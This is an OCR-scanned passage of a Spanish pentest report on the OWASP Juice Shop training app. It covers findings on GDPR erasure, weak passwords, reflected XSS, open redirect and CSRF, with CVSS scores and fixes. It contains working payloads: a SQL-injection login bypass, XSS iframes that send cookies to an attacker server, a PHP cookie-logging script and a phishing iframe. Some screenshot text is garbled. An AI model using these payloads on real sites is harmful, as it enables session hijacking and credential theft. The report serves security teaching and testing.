MY LETUMMDESNN . wX2G_Ci Lk X0_S7dvESeaT 0_DEXMpy 27dME4LDR3AAY 31 dLAKMK OIW Lol MWFHS TQ1$J 1‘78« o
gérsr. Loartpet XYXQ) 47HRGT aJgtfaLrhT i oL totpSecret’ VARCHAR(2SS) DEFALLT ‘', “1sactive’ TINYINT(1) DEFALLT 1, ‘createdat’ DATETIPE

o :;:fi?“gu; S en. e 1. ane3000; NOT ML, Cupdatedat’ DATETIME MOT NLL, deletedst’ DATETIME)®
10 Cookia: 1 - i status=disriss; continuaCode= ) o sa,
oL umzquu;:mrmuwugc 5L L 12+ ZWst0e 7)1 38 pUn e SaFASSa m'\tmua(ndeﬂrd] gescription’

Y4k pOCCEMA Y] 36y XESI R DIS2 GoShr JP1 ] 02 caninuecoder 11
ULV pOLZq D] ACRUZERWDAS XSPHS wayBHR)ToaSOGK N
1 Dbt s Ry 2zt szwzww&;wwmw
12 Cache-Gontrols nax- 50

e
CRENTE TAELE “Users’ ('id' INTEGER PROMARY KEY AUTOINCRENENT, “ussrnams’ VARGHR(Z55) DEF
LT '7, ‘emsil VARGHAR(Z5S) UNIQUE, ‘passiord” VARCKIRIZSS), ‘role’ VARCHAR(2SS) DGFALLT
“customer', “delux wTkan VARCHER(2SS) DEFALLT ', lastloginIp VARCHAR(2SS) DE:lu.T ‘0.

Totodat! 5

"

Ademas, hemos visto también que el campo de “usuario” en el formulario de inicio de sesion es
susceptible de ataques de SQLi.

Con ello, podemos construir una consulta UNION SELECT que, en vez de mandar su peticidn a la base
de datos, lo haga a una tabla temporal directamente definida en la consulta.

La consulta a ejecutar que nos permite realizar la inyeccidn es la siguiente:

"UNION SELECT * FROM (SELECT 15 as 'id', " as 'username’, 'accOuntdnt@juice-sh.op' as ‘email’,
'12345' as 'password’, 'accounting' as 'role’, '123" as 'deluxeToken', '1.2.3.4" as 'lastLoginip’,
"Yassets/public/images/uploads/default.svg' as 'profileimage’, "' as 'totpSecret’, 1 as 'isActive’, '1999-
08-16 14:14:41.644 +00:00' as 'createdAt’, '1999-08-16 14:33:41.930 +00:00' as 'updatedAt’, null as
'deletedAt’)--

En la misma, podemos observar cémo se crea un registro de la tabla de forma totalmente manual
con los datos que deseamos, por ejemplo, en la anterior se crear un usuario con el rol de contable.

Una vez hecha la consulta, podemos hacer la inyeccién:
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Target: http

B Her er

1 POST frest/user/login HITR/1.1
2 Host: 192188, 00

20160101 Fi rofar/91.0 2 X contant-Typa-Cptions:
ons: SHHEGRIGIN |

5 Feature. polacy: payment 1aelt
sontication;jsu; cha

1a/5.0 (X11; Linux 286_64; rvi91.0) Gecke,
ntjsan, text/plain, /¢

- late
pe: iv;lnstwn Json

© Content-Length: s

1 Origin: http://192.180.1.41:3000
10 Connaction: ol
11 Referar: her 3000/
12 Cookie: Languag wecanhanar_seo : cookieconsent statu

surbzt] TRitupiL RIS mn‘.xwwz 0C7JT Lagsplocs

Fizme, Garb; continusCoderix1t

3 Loe=oKy

smiss: continuecode= E
continueCodeFindTt= o

‘\rurrgyCN'

oy J0u 0 TKV103 LRG0 15LU2T 14115, ey 2 dGROXM 01 12b ZXNET  wi FGROYST Sy Jp7CT SUT LT 27X
i v ZWL a0 J Y 2 WS CHGS0QGp L WL L w1 w2 25 CALxMMENET s I
0L 20V G 1L LY T Gonais) 1 UM, 42 G2 L wemsmax | Swihzz
o ZnZhduncL AT AN X33 0- 1 LCIpecE) da
Ak

th:rrpn et WS RS SR 57

aceountante;

NL08@y 7S 72Pn 204 7dg 721 lz "
U T RoFXOBVNY At B30 (bdgHTRr BxKnEHeQ

Licyama
830916 14:12:41. 644
*, rull as 'deletedat'] -p,

XFML T Loyy
-\mu» v, ‘w T zaINE; R ralumwenkOrFS

Que termina en un inicio de sesidn exitoso:

'} OWASP Juice Shop Q@ account W vour

© sccountani@uice
All Products Accounting

ers & Paymer

Privacy & Security

Apple Juice . " Banana Juice
(1000m1) Apple Pomace 000ml) 1
1.99 1.99x “Artwork

50001

Add 0 Baskat Add to Basket Add to Basket

Add to Basket
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VUL _ 009 — GDPR Data Erasure

Vul_009

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIONES

REFERENCIAS

GDPR Data Erasure

9,8 CRITICA

http://juice.shop/dataerasure

La web no cumple con las politicas de la GDPR. Cuando un cliente
solicita un borrado de datos lo Unico que sucede es que la aplicacién lo
saca de sesion, pero sus datos no se borran. Esto implica un fallo a nivel
de confidencialidad, integridad y disponibilidad de los datos pues
permite que estos persistan en la aplicacidn tras una solicitud legal de
borrado.

= @ owasp juice Shop

Captura de un inicio de sesion exitoso con la cuenta de
chris.pike@juice-sh.op con la que se habia solicitado un borrado de
datos

= . OWASP Juice Shop

Captura de un inicio de sesion exitoso en el que se muestra la misma
cesta que existia antes de la solicitud de borrado de datos,
demostrando que los datos del usuario persisten tras la misma

En caso de que un cliente solicite un borrado y trate de hacer de nuevo
un inicio de sesidn podra comprobar que el programa no ha borrado
sus datos y puede presentar una denuncia que acabe costando una
buena suma de dinero a la empresa.

Vulneracién de derechos bdasicos de los clientes de la tienda.
Las solicitudes de borrado deberian ser atendidas y solo se deberian

conservar las facturas de los clientes borrados a efectos de las
necesidades contables presentadas en la ley.

https://www.aepd.es/es/derechos-y-deberes/conoce-tus-
derechos/derecho-de-supresion-al-olvido
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_009 GDPR Data Erasure

CVSS3 PUNTUACION CRITICA 9,8

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Ninguna porque es un error de la aplicacion que no requiere
explotarse, solo denunciarse.

Privilegios requeridos

Interaccion del usuario Ninguna

Alcance Sin cambios, la vulnerabilidad nace y afecta a la aplicaciéon

. o Alta pues viola la confidencialidad de nuestros clientes si estos
Confidencialidad .. .
solicitan un borrado, permaneciendo sus datos.

Alta pues en la aplicacién existen y sobreviven datos que no deberian

Integridad
estar.

Alta, pues si unos datos que deberian de dejar de estar disponibles

DG EE siguen estandolo, es un fallo en la disponibilidad también.

EXPLOTACION

Su proceso es simple. Creamos una cuenta de usuario normal y generamos ciertos datos en la
aplicacion.

Navegamos a la pagina para solicitar el borrado de datos:
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O & == 192168141

5P Juice Shop

Data Erasure Request (Art. 17 GDPR)

We take data secu e with

Request Data Erasure

Confirm Email Address

Answer

X DELETE USER DATA

Tras ello el sistema nos sacara de sesion.

Seguidamente, podremos comprobar cémo podemos volver a iniciar sesién con el mismo usuario y
contrasefia, y como todos nuestros datos siguen intactos en la aplicacion.
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VUL_010 - PASSWORD Strength

PASSWORD Strength

n Vul_010 CRITICA 9,8
http://juice.shop/#/login

Se encuentran cuentas de administrador con credenciales muy débiles
existentes en diccionarios habituales. Ademas, no se encuentran medidas
de proteccidn contra la fuerza bruta de credenciales en la aplicacion.

DESCRIPCION
SCRIPCIO Hay que tener presente que la seguridad de un sitio es igual de fuerte que

su eslabon mas débil y usar contrasefias débiles puede comprometer
completamente la aplicacion.

B proec e Ropester windnw ety
Onthcard  Toget  Proy _mcer  Repester  Sequewesr  Deeoder  Comprer  Loger  Exender  proecoplos  Useropions  Leam
1e ax .

Torget postons _payioscs  neswrceracl  Optins

@ Fayloadsets

Yauea i va aw aata

payloadser. 1 | eaicadcount 40

paylaad type:  simple st ] Renwest cout; 4

(@ Payload Optiens [Simplelist fesulls  Torgel  Pasiions  Payloads

s ple st of strings that

| Deduplicate | chogon
querty

[
EVIDENCIA e

(@ Payload Processing

EEwed " abeiz3 am 362

[ em seques:  esponse.
[remoe Fiiched

(@ Payload Encoding
hs saytoac TP requests

15 uRL-encode these characters: | demanr e B

Imagen de un ataque de fuerza bruta contra el usuario administrador.

En este caso se puede conseguir acceso a todas las funcionalidades que
RIESGOS posee un administrador de la aplicacion comprometiendo la
confidencialidad, integridad y disponibilidad de los datos.

Se recomienda establecer una politica de contraseias seguras en la
aplicacion que evite la creacion contrasenas débiles.

En segundo lugar, se recomienda instalar controles de seguridad ante la
fuerza bruta, para que el inicio de sesion se bloquee cuando se detecten
los mismos.

RECOMENDACION
ES

Se recomienda no mostrar los correos de los usuarios en la aplicacion pues
son los mismos que se usan para iniciar sesion.
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REFERENCIAS

Vul_010

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Confidencialidad

Integridad

Disponibilidad

El nombre de usuario que se muestra en la aplicacion y el nombre
necesario para iniciar sesién deberian ser distintos.

https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_

Sheet.html

EVALUACION DE CRITICIDAD CVSS 3.1

PASSWORD Strength

CRITICA 9,8

Red, es accesible desde internet

Baja, es de los ataques esenciales

Baja, no se requiere privilegio alguno

Ninguna

Sin cambios, se ataca y afecta a la aplicacion

Alta, se valora asi porque ademas los propios administradores de la
aplicacion usan contrasefias débiles

Alta, se valora asi porque ademads los propios administradores de la
aplicacion usan contrasefias débiles

Alta, se valora asi porque ademas los propios administradores de la
aplicacion usan contrasefias débiles

EXPLOTACION

En primer lugar, identificamos un correo electrénico en una de las “Reviews” que parece ser de un
usuario con un rol de administrador.
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All Products

Apple Juice
(1000ml)

The all-time classic.

1.991

Reviews (1)

admil uice-sh.op
One of my favorites!

X Close

Con una herramienta como burp, cargamos alguno de los diccionarios de passwords habituales y

efectuamos un ataque de fuerza bruta. Cabe mencionar que existen muchas herramientas para ello
y que es algo muy habitual.

Burp Project Intruder Repester Window Help

Doshboard  Target  Frowy  Wtruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Leam
12 [ 2%
Target  Positions  Pajloads  ResourcePool  Options
You can define one or more payload sats. The number of payload sets depends on the attack type defined in the Positions tab. Varlous payload types are avallable for each pajload set, and each payload type can be customized in different ways.
Paytoaaset: 1 - paytoad count: 40
Payload type: [ Simple list Request count: 40
Attack save Columns
(@ Payload Options [Simple list Results  Target  Positions  Payloads  ResourcePool  Options
This paylaad type Lets you canfigure a sim ple list of strings that are used as payloads, Filter: Showing all items. \@
paste | [123456 Request Payload Ststus Eror  Timeout  Length
password a 23
Load 12345678 s pussy 4ot 362
Remove | [1234 6 12345 4ot 362
o pussy > 7 dragen 401 362
e 12345 8 querty a0 362
Deduplicate | |dragon s 606060 o1 362
querty 0 admin123 200 n7
. n mustang ae1 362
A4 Enteranewiten 12 etmein 41 362
i Baseball a0 362
i master o 362
15 michael ao1 362
i foatball 41 362
@ Payload Pr = i shadow a0 362
1® monkey o1 362
You can define perform various used 1o iz o e
0 pass 401 862
dd Enabled Fule
Edit Request  Response
emove
Remave L Finished
up
Down

@ Payload Encoding

within the final payload, for safe transmission within HTTP requests,

I URL-encode these characters: | A=oTeamfJin &

Tras un tiempo no muy largo, encontramos la contrasefia del administrador: admin123
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VUL_011 — XSS CROSS SITE SCRIPTING
REFLEJADO en buscador de productos

XSS CROSS SITE SCRIPTING REFLEJADO en buscador de productos

Vul_011 Critica—9,6

http://juiceshop.com/search?q=

Esta vulnerabilidad se da cuando hay una entrada de datos controlada
por el usuario que se refleja/imprime en la aplicacion ya | no estar
debidamente controlada, permite insertar cddigo malicioso.

En Juice Shop los datos que entran a través del buscador de productos
se imprimen en pantalla y se vuelcan dentro del cédigo de la pagina
permitiendo insertar cddigo ejecutable en la misma que permite hacer
cosas como robar sesiones, hacer ataques de man in the browser y
mucho mas.

DESCRIPCION

EVIDENCIA

No results fo

En la anterior captura se puede ver cdmo se puede cargar un
reproductor de audio inexistente en la aplicacion. Del mismo modo se
podrian cargar otros aplicativos maliciosos externos a la aplicacién en
la web.

Esta vulnerabilidad permite realizar ataques bastante sofisticados de
ingenieria social tanto a clientes como a miembros de nuestra
organizacion.

Permite el robo de sesidon de usuarios.

RIESGOS Permite el seguimiento de navegadores y uso.

Puede ser responsable del robo, alteracion o borrado de informacién
de todo tipo en nuestra aplicacion e incluso en las maquinas de
nuestros clientes.

64



RECOMENDACIONES

REFERENCIAS

Vul_011

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Es necesario controlar y filtrar todas las entradas de datos en la
aplicacion, asi como el lugar donde se escriben los mismos.

Se deben filtrar las entradas para que no contengan javascript, por
ejemplo, usando la libreria DOMpurify.

Se recomienda hacer mejor uso de la cabecera de seguridad X-Frame-
Options.

Se recomienda usar https en todo el dominio.
Se recomienda usar la cabececera XSS PROTECTION.

Usar la cabecera Content-Type apropiada para cada pagina, por
ejemplo: X-Content-Type-Options=nosniff.

Usar Content-Security-Policy options, como por ejemplo script-src
'self', de forma que solo se puedan cargar scripts locales.

Usar la cabecera HttpOnly y Secure cookie flags nos ayudara a prevenir
que javascript pueda leer cookies y solo las pueda transmitir a través
de https.

Implementar un WAF que nos ayude a detectar y monitorizar estos
ataques.

https://cwe.mitre.org/data/definitions/601.html

https://learn.snyk.io/lessons/open-redirect/javascript/

EVALUACION DE CRITICIDAD CVSS 3.1

XSS REFLEJADO EN BUSCADOR DE PRODUCTOS

CRITICA 9,6

Red: el ataque se puede montar a través de Internet.

Baja, es un ataque basico, muy conocido y facil de ejecutar

Ninguno: el ataque podria ejecutarse desde una perspectiva no
autenticada/no autorizada

Requerida para hacer efectivo el ataque, pero no para montarlo
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https://cwe.mitre.org/data/definitions/601.html
https://learn.snyk.io/lessons/open-redirect/javascript/

Cambia porque el componente vulnerable es el servidor web y el
componente afectado es el navegador del usuario

Alcance

Alta, pues se podria robar una sesiéon de un usuario o de un

CORMIGERCIalicad administrador y acceder a los datos

Alta, pues se podria robar una sesiéon de un usuario o de un

Integridad -
& administrador y alterar los datos

Alta, pues se podria robar una sesion de un usuario o de un

Di S
HEehillglees administrador y borrar los datos

EXPLOTACION

Al realizar cualquier busqueda de producto, podemos ver como la cadena que insertamos se
imprime en pantalla:

'!i' OWASP Juice Shop

Search Results - smoothie

Si en la peticién de busqueda ponemos, por ejemplo, etiquetas html como las de titulo, podemos ver
como también son enviadas y no se filtran:
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B OWASP Juice Shop e

Search Results -
smoothie

{} StyleEditor () Performance (& Storage T Accessibility Application @) Cookie Editor {J Memory

© Inspector B Console [ Debugger

1 Network

Si escribimos algo de cédigo javascript en el buscador, podemos ver como este se ejecuta en la
aplicacién, en este caso, es una alerta:

£162.168.42.184:3000

A continuacidn, tenemos un ejemplo mas complejo de XSS reflejado en donde cargamos una cancion
reproducible. De la misma forma, podriamos cargar archivos ejecutables maliciosos.

a®
o~

No results found

Ty adjusting reh to fin
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ROBO DE CREDENCIALES con XSS reflejado

A continuacidn, vamos a mostrar una inyeccidn XSS que pretende engafiar al usuario para que
inserte sus credenciales y estas sean enviadas a un servidor malicioso.

En esta PoC se ha desarrollada modestamente el engafio, pero la vulnerabilidad nos permitiria
elaborar ataques mucho mas sofisticados y creibles.

Lo primero serd crear el payload, que cargara un iframe en la aplicacién con un formulario de inicio
de sesion malicioso.

1<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" sl'c:"http://wz.168.1.69:5555/1ndex.html"></iﬂ'an|e;v|

Fig. 1: Imagen del payload

Seguidamente, crearemos un formulario que sera el que llamard y cargara el payload en el iframe. El
cddigo es muy simple y aqui es donde tocaria ser mds imaginativo para que el engafio fuera lo mas
creible posible:

Sin titulo 1

Fig. 2: Imagen del formulario cargado en el iframe que remitird las credenciales obtenidas a nuestro servidor
malicioso.

Al enviar el payload a la aplicacién nos cargara efectivamente, el formulario embebido. Bastara con
copiar la url de la siguiente imagen y enviarla a cualquier usuario para que, al ver que se le solicitan
las credenciales, las inserte.

S C 0 an
apps KaliLinur

= . OWASP Juice Shop

Search Results -

Please login to continue

Fig. 3: Imagen del formulario que carga nuestro PAYLOAD

Una vez que cualquier usuario escriba y envie sus credenciales en el formulario estds se recibiran en
nuestro servidor malicioso:
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rd=mejide&submit=Login HTTP/1.1" 200 -

1
1
1
1
1
1
1
1
1
1

Fig. 4: Imagen de las credenciales recibidas en nuestro servidor

De esta forma podemos ver el potencial de esta vulnerablidad que se ejecutaria solo enviando el
siguiente link a cualquier usuario de la aplicacion:

http://192.168.1.41:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22
166%22%20scrolling%3D%22n0%22%20frameborder%3D%22n0%22%20allow%3D%22autoplay%22
%205rc%3D%22http:%2F%2F192.168.1.69:5555%2Findex.htm|%22%3E%3C%2Fiframe%3E

MOSTRAR EL TOKEN de session

Parecido a lo anterior, se puede elaborar un payload para robar el token de acceso.

Para la prueba de concepto, en esta ocasion se mostrard el mismo en una alerta. Puesto que este
token se guarda también en una cookie, bastara con capturar las cookies a través de un hijacking.

Veamos ahora el payload que mostraria el token en pantalla:

<iframe src="javascript:alert(document.cookie)">

Kali Li KaliTools  KaliDocs  KaliForums  Kali NetHuntel OffSec Hack The Box..
ali Linux ali Tools ali Docs ali Forums ali NetHunter | OffSec 192.1681.41:3000 says ack The Box

' OWASP Juice ShOp language=en; welcomebanner_status=dismiss;

cookieconsent_status=dismiss; token=e
yJ0eXAIOIKVIQILCIhbGeiOiJSUzITNi 9. ey Jzd GFOdXMIOi
JzdWNjZXNzliwiZGFOYSI6eyJpZCl6
MSwidXNlemShbWUIQiliLCJIbWFpbCleimFkbWIuQGpTa
WNILXNoLm9wliwicGFzc3dvemQiOilwMTky
MDIzYTdiYmQ3MzITMDUxNmYwNjlkZjE4YjUwMClsinJv

bGUiOiJhZGTpbilsimRIbHV4ZVRva2Vuljoi

Search Results -

SESSION Hijacking con XSS reflejado

Para efectuar una PoC de robo de sesién, vamos a ver un payload con el que podemos robar la
cookie de un usuario y con ella, su JWT Token. El cédigo seria el siguiente:

<iframe src="javascript:document.location='http://192.168.1.69:8888/index.php?c="+document.cookie">
Enviado junto con la url se veria de |a siguiente manera. Este seria el enlace que recibiria la victima:

http://192.168.1.41:3000/#/search?q=%3Ciframe%20src%3D%22javascript:document.location%3D'http:%2F%
2F192.168.1.69:8888%2Findex.php%3Fc%3D'%2Bdocument.cookie%22%3E
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http://192.168.1.41:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22166%22%20scrolling%3D%22no%22%20frameborder%3D%22no%22%20allow%3D%22autoplay%22%20src%3D%22http:%2F%2F192.168.1.69:5555%2Findex.html%22%3E%3C%2Fiframe%3E
http://192.168.1.41:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22166%22%20scrolling%3D%22no%22%20frameborder%3D%22no%22%20allow%3D%22autoplay%22%20src%3D%22http:%2F%2F192.168.1.69:5555%2Findex.html%22%3E%3C%2Fiframe%3E
http://192.168.1.41:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22166%22%20scrolling%3D%22no%22%20frameborder%3D%22no%22%20allow%3D%22autoplay%22%20src%3D%22http:%2F%2F192.168.1.69:5555%2Findex.html%22%3E%3C%2Fiframe%3E
http://192.168.1.41:3000/#/search?q=%3Ciframe%20src%3D%22javascript:document.location%3D'http:%2F%2F192.168.1.69:8888%2Findex.php%3Fc%3D'%2Bdocument.cookie%22%3E
http://192.168.1.41:3000/#/search?q=%3Ciframe%20src%3D%22javascript:document.location%3D'http:%2F%2F192.168.1.69:8888%2Findex.php%3Fc%3D'%2Bdocument.cookie%22%3E

Lo que hace este payload es enviar todas las cookies que encuentre en la aplicacién a un servidor
externo, el cual las procesara a través del archivo index.php y las almacenara.

El contenido del archivo index.php sera el siguiente:
<?php
if (isset(S_GET['c'])) {
Slist = explode(";", S_GET['c']);
foreach (Slist as Skey => Svalue) {
Scookie = urldecode(Svalue);
Sfile = fopen("cookies.txt", "a+");
fouts(Sfile, "Victim IP: {S_SERVER['REMOTE_ADDR']} | Cookie: {Scookie}\n");

fclose(Sfile);

>

Veamos ahora como seria el ataque. Lo primero es que haya un usuario con la sesién iniciada, en
este caso, un administrador:

KaliForums  KaliNetHunter 3 OffSec « Exploit-DB = Google Hackin... ® SprocketSecur... @ HackThe Box « Metasploitabl... @ Tinoc

Apple Juice Banana Juice

(1000mi) (1000mi)

hu Aug ] PHP 8.1.5 Development Se

Hacemos clic en el link malicioso:

Search Results -

El servidor malicioso captura la cookie:
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En el caso de juice shop, la cookie contiene el token JWT con el que podemos autenticarnos.
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VUL 012 — ALLOW list bypass

ALLOW list bypass

Vul_012 9,6 CRITICA

http://juice.shop/redirect?to=

La aplicacion mantiene una funcién que permite redirigir a un usuario
a otra pagina mediante un pardmetro enviado en una peticion GET.

Si no dispusiera de ningun control, esta funcion permitiria a un atacante
enviar un link con la direccidn de la tienda juice shop que redirigiera a
un sitio malicioso para ataques de phising, robo de credenciales, etc, lo
gue se conoce como una vulnerabilidad de OPEN REDIRECT.

Para evitar esta vulnerabilidad, Juice Shop usa una lista blanca de
direcciones permitidas de forma que las redirecciones solo puedan
darse a esos sitios permitidos y ninguno mas.

DESCRIPCION Sin embargo, una lista blanca deberia comprobar que la pagina a la que
se redirecciona es completamente igual a alguna de las permitidas, en
cambio, Juice Shop solo revisa si la peticidn contiene la URL permitida.

Este control se puede saltar si se elabora una url que contenga a la vez
la direccion permitida y la direccion maliciosa permitiendo hacer
efectivo un ataque por redireccion.

Esta vulnerabilidad acentla su riesgo porque se puede usar en
combinacién con otras vulnerabilidades descubiertas, como el XSS,
pudiéndose generar ataques mas complejos de robo de sesién, por
ejemplo.

Captura de una redirecciéon no permitida a través de juice shop que
carga un archivo malicioso alojado en nuestro servidor.

.. OWASP Juice Shor ..

EVIDENCIA

L " Banana Juice
SN (1000ml)
‘ 1.99x

Add to Basket

RIESGOS Redirecciones indeseadas de clientes a otros sitios.
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RECOMENDACIONES

REFERENCIAS

Vul_012

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Susceptible a ataques de pishing, robo de credenciales y otras técnicas
maliciosas relacionadas con las redirecciones.

Pérdida de confianza en la aplicacién por parte de nuestros clientes.
Posible robo de sesion de administradores con las graves

consecuencias que ello tiene si se anida con otras vulnerabilidades.

La lista blanca de direcciones permitidas se encuentra accesible en el
cddigo javascript del front end. A poder ser, no deberia serlo o por lo
menos, se deberia ofuscar lo maximo posible.

El filtro de seguridad deberia revisar si la redireccion es a una pagina
permitida, no a una url que contenga la pagina permitida.

https://cwe.mitre.org/data/definitions/601.html

https://www.zaproxy.org/docs/alerts/10028/

EVALUACION DE CRITICIDAD CVSS 3.1

ALLOW list bypass

CRITICA 9,6

Se accede desde internet

Baja, su descubrimiento es basico y su explotacion también

Ninguno, no se requiere cuenta de usuario para ello

Necesaria, pues gracias a esta vulnerabilidad podemos conducir a un
usuario a una web maliciosa

Con cambios, pues la vulnerabilidad afecta a la aplicacién, pero
puede terminar afectando al navegador de los usuarios si, por
ejemplo, se redirigen a una web maliciosa que contenga un payload
tipo BEEF

Alta, si a través de ella se logra un acceso administrador
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https://cwe.mitre.org/data/definitions/601.html

Integridad Alta, si a través de ella se loga un acceso administrador

Disponibilidad Alta, si a través de ella se logra un acceso administrador

EXPLOTACION

Al navegar por la web, observamos que en ciertos links la misma usa la funcion “redirect?to=" para
incluir un link:

> @ O @ o 192168.4219

.__ OWASP Juice Shop

My Payment Options

Ad w card
Pay using wallet Wallet Balance

Add a coupon

Other payment options

Redureccion a través de cédigo

En el cddigo del main.js encontramos estas direcciones:
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TR

1.
[
"href',
‘. /redirect?to=http://shop.spreadshirt. com/juiceshop’
1.
[
1,
"fas",
‘fa-tshirt',
"fa-1g'
1.
[
"href',
‘fredirect?to=http://shop.spreadshirt.de/juiceshop”
1.
[
"href',
'L /redirect?to=https://www.stickeryou.com/products/owasp-juice-shop/794'
1.
[
1.
‘fas",
'fa-sticky-note’,
-
1
noap() {

showBitcoinQrCode() {
this.dialog.open(Mt, {
data: {
data: ‘bitcoin:1AbKfgvwIps041NbLi8kufDQTezwGBDRZm ,
url: './redirect?to=https://blockchain. info/address/1AbKfgvwips041NbLiBkufDQTezwGBORZm" ,
address: '1AbKfguw9psQ41MbLi8kufDQTezwGBDRZm'
title: 'TITLE_BITCOIN_ADDRESS'
1
i3l
1
showDashQrCode() {
this.dialog.open(Mt, {
data: {
data: 'dash:Xr356RzuwXBhg5EGpkybbw5RanJoZN1TkW',
url: *./redirect?to=https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbvSRanJoZN1TkN ",
address: 'Xr556RzuwX6hg5SEGpkybbv5RanJoZN17kW'
title: 'TITLE DASH ADDRESS®
1
H
¥
showEtherQrCode() {
this.dialeg.open(Mt, {
data: {
data: 'Bx8f933ab3fCAAATE2DB279C300D73750e1311FAEG",
url: './redirect?to=https://etherscan.io/address/8x0f933ab9fcaaa7B2d0279c300d73750e1311eae6",
address: '8xBf933abdfCAAATE2DB279C308D73758e1311EAER" .,
title: ‘TITLE_ETHER_ADDRESS'

Tras hacer algunas pruebas, parece que la aplicacion solo nos permite usar la funcidn “redirect” con
las url que figuran en esta lista, lo que parece indicar que se estd usando un filtrado por lista blanca.

Tras realizar diversas pruebas se detecta que la aplicacidon solo revisa si la url que se especifica como
parametro para la funcién “redirect” contiene una de las URL que estdn en la lista blanca, no si son
iguales. Debido a ello, se puede montar una redireccidn tipo: url_maliciosa/url_permitida/ para
luego subir de nuevo a url maliciosa con ../../../ y hacer que se redirija la persona a esta.

[lustramos esto con capturas de pantalla:
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'ASP Juice Shop . = OWASP Juice Shop

@y Q. 192.168.1.41

‘ OWASP Juice Sh

nun@nunByte: ~

5 nun@nunByte: ~ 87x11
connect to [192.168.1.69] from (UNKNOWN) [192.168.1.69] 34014
GET /payolad_malicioso.html HTTP/1.1
Host: 192.168.1.69:5555

All Products User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language Us, en; =5
Accept-Encoding: gzip, deflate
Connection: close

Upgrade-Insecure-Requests: 1
7 Banana Juice

S (1000ml)
‘ 1.99=

Add to Basket

En esta peticidn se carga en redirect el siguiente parametro:

http://juiceshop.com/redirect?to=http://192.168.1.69:5555/http://shop.spreadshirt.com/juiceshop
/../..]../../payolad malicioso.html

Con el mismo, se genera una peticidon al servidor maliciosa que carga el contenido del archivo
payload_malicioso.html. La URL resultante de la peticién sera:
http://192.168.1.69:555/payload malicioso.html
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Vul_013

DESCRIPCION

EVIDENCIA

VUL 013 - CSRF

CSRF

9,6 CRITICA

http://juice.shop/profile

Se detecta una vulnerablidad de CSRF o de falsificaciéon de sitios
cruzados. Esta vulnerabilidad se basa en la confianza que la aplicacion
deposita en el usuario que ha iniciado sesion y se da cuando un usuario
autenticado ejecuta, sin saberlo, una peticion ilegitima sobre la
aplicacion a través de un sitio malicioso.

En este caso, se ha probado que es posible ejecutar un cambio en el
nombre del usuario enviando la peticion desde un sitio de terceros
siempre que haga clic el usuario y tenga sesion iniciada.

Para ello, basta con embeber el formulario de cambio de usuario en la
web maliciosa y cambiar los detalles visuales para que, al hacer clic, el
usuario piense que esta realizando otra accion.

Esta es una vulnerabilidad importante porque permite ejecutar
consultas a la APl como si fuéramos el usuario victima, que en caso de
ser administrador, podria causar grandes estragos.

Por poner un ejemplo, se podria explotar la “filtracién de datos de
usuario en el endpoint” sin necesidad de crear una cuenta de usuario
en la aplicacion.

User Profile

Imagen de una reproduccidon del mismo cddigo del formulario que
permite cambiar el nombre de usuario alojado en una web de terceros.
En caso de tratarse de un ataque real, simplemente se cambiaria el
disefio, pero no la accidn que lleva a cabo.
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RIESGOS

RECOMENDACIONES

REFERENCIAS

ack ‘ OWASP Juice Shop

User Profile

Imagen del nombre de usuario cambiado usando el formulario de la
web anterior, algo que no deberia ser posible por motivos obvios de
seguridad.

Este tipo de ataques son muy peligrosos, sobre todo si la victima es un
administrador, porque permiten enviar peticiones a la aplicacion
suplantando la identidad de la victima.

En el caso de Juice Shop el impacto puede ser muy grande porque
puede llevar a vulnerar completamente la aplicacion.

A nivel de programacion la aplicacion deberia usar tokens anti-csrf, que
fueran aleatorios y vinculados a la sesidn del usuario de forma que
acompafiaran a todas las peticiones y permitieran identificar cuales de
ellas son legitimas y cuales no, denegando aquellas que provienen de
una aplicacion externa no autorizada.

Usar el atributo Same site de las cookies de sesion para que se valide
gue la cookie viene de la propia aplicacion web para ayudar evitar estas
peticiones ilicitas que pueden llegarnos.

Revisar el origen de las cabeceras https Origin Header y Referer Header
y denegar los origenes invalidos.

Eliminar la vulnerabilidad de XSS que nos permite saltarnos estos
controles de seguridad.

No usar peticiones GET para informacion sensible.

https://es.wikipedia.org/wiki/Cross-site request forgery

https://owasp.org/Top10/A01 2021-Broken Access Control/

78


https://es.wikipedia.org/wiki/Cross-site_request_forgery
https://owasp.org/Top10/A01_2021-Broken_Access_Control/

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_013 CSRF

CVSS3 PUNTUACION MEDIA 9,6

Vector de Ataque Red, es accesible desde internet

Baja pues es facil de reproducir, aunque requiere de engano con

Complejidad . . .
ingenieria social

Privilegios requeridos Baja, no requiere tener privilegios por parte del atacante.

Interaccion del usuario Necesaria

Con cambios, pues puede afectar a la aplicacién, pero también puede

Alcance .
afectar a sus usuarios.

Alta, pues en funcion de cémo se explote se puede vulnerar

Confidencialidad L,
completamente la aplicacion.

Alta, pues en funcion de como se explote se puede vulnerar

Integridad L
completamente la aplicacion.

Alta, pues en funcion de como se explote se puede vulnerar
completamente la aplicacion.

Disponibilidad

EXPLOTACION

Para demostrar su explotacién desarrollaremos la vulnerabilidad, pero sin preparar una web
engafosa. Hay que entender que un atacante modificaria el html para que al usuario le pareceria
gue esta haciendo otra cosa, como, por ejemplo, dar un like a una imagen.

Primeramente, copiamos el cédigo del formulario que permite cambiar el nombre del usuario a otra
web y lo modificamos para que se envie a la aplicacién:
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4

